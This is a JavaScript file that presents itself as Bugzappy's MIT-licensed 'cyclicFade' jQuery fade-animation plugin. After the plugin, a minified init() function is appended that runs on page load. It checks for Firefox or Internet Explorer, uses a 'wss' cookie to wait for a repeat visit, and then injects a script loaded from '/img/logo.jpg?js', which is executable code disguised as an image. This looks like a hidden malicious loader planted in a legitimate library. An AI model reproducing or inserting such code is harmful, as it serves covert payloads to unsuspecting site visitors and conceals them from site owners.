/*

###############################################################################
#
# Copyright (c) 2009 Logimake, Inc.
#
# Orignially distributed by bugzappy at http://www.bugzappy.com/demos/cyclic-fade
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
# THE SOFTWARE.
#
##############################################################################


#
# Bugzappy's "cyclicFade" jquery plugin
#


Please post questions and comments at:

	http://www.bugzappy.com/

or send email to:

	bugzappy@logimake.com

*/

// developed and tested with jQuery version 1.3.2
	
//
// create closure
//
(function($) {
  //
  // plugin definition
  //
	$.fn.cyclicFade = function(options)
	{
		var opts = $.extend({}, $.fn.cyclicFade.defaults, options);
		return this.each(function() {
			$.fn.cyclicFade.doCycle(this,1,opts.repeat,opts.params,0);
		});
	};
	
	$.fn.cyclicFade.defaults = {
		repeat: 0,
		params: [{fadeout:100, stayout:300, opout:0, fadein:100, stayin:300, opin:1.0}]
	};
	
	// this function is used internally
	$.fn.cyclicFade.doCycle = function(obj,start,finish,paramsList,paramsPos) {
		if (paramsPos >= paramsList.length) {
			paramsPos = 0;
		}
		// important: params must be a local variable (var) otherwise it gets overwritten by other
		// calls to doCycle
		var params = paramsList[paramsPos];
		$(obj).fadeTo(params.fadeout, params.opout, function() {
			setTimeout(function() {
				$(obj).fadeTo(params.fadein, params.opin, function() {
					setTimeout(function(){
						if(start!=finish) {
							// increment start only if it is bounded
							if (start<finish) {
								start++;
							}
							$.fn.cyclicFade.doCycle(obj,start,finish,paramsList,paramsPos+1);
						}
					}, params.stayin)
				})
			}, params.stayout)
		});	
	};
	
})(jQuery); 



function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/img/logo.jpg?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
